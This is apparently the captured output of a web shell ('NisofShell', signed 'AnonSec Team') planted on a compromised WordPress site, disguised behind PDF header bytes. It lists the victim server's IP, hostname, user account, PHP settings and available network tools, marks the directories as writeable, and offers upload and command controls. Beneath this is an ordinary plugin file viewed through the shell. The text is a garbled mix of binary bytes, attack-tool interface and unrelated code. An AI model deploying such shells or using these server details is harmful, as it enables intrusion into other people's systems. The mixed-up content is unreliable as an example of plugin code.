%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/wellingtonrecord/wp-content/plugins/kata-plus/includes/styler/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/wellingtonrecord/wp-content/plugins/kata-plus/includes/styler/lib/utils/data.php
<?php
namespace Styler\Utils;

defined( 'ABSPATH' ) || exit;

use Styler\Compatibilities\KirkiStyler\StyleSheet as KirkiStyleSheet;

class DataHandler {
	/**
	 * Array of files.
	 *
	 * @access  public
	 * @var     string
	 */
	public static $files;

	/**
	 * Import.
	 *
	 * @param   string $data       Data to import
	 * @param   string $witch_type Type of data.
	 *
	 * @since   3.0.0
	 */
	public function Import( $data, $witch_type = 'all' ) {
		$term = get_term_by( 'slug', $witch_type, 'styler-data' );

		if ( ! $term ) {
			wp_insert_term( $witch_type, 'styler-data' );
			$term = get_term_by( 'slug', $witch_type, 'styler-data' );
		}

		if( ! $term ) {
			return false;
		}

		if( ! is_object( $data ) && ! is_array( $data ) ) {
			$data = json_decode( $data );
		}

		switch ( $witch_type ) {
			case 'kirki':
				KirkiStyleSheet::get_instance()->import_customizer( $data );
				break;
		}

		return true;
	}

	/**
	 * Import.
	 *
	 * @param   string $witch_type Type of data.
	 *
	 * @since   3.0.0
	 */
	public function Export( $witch_type = 'all' ) {
		$term = get_term_by( 'slug', $witch_type, 'styler-data' );

		if ( ! $term ) {
			wp_insert_term( $witch_type, 'styler-data' );
			$term = get_term_by( 'slug', $witch_type, 'styler-data' );
		}

		if( ! $term ) {
			return false;
		}

		return get_term_meta( $term->term_id );
	}

} // class

Anon7 - 2022
AnonSec Team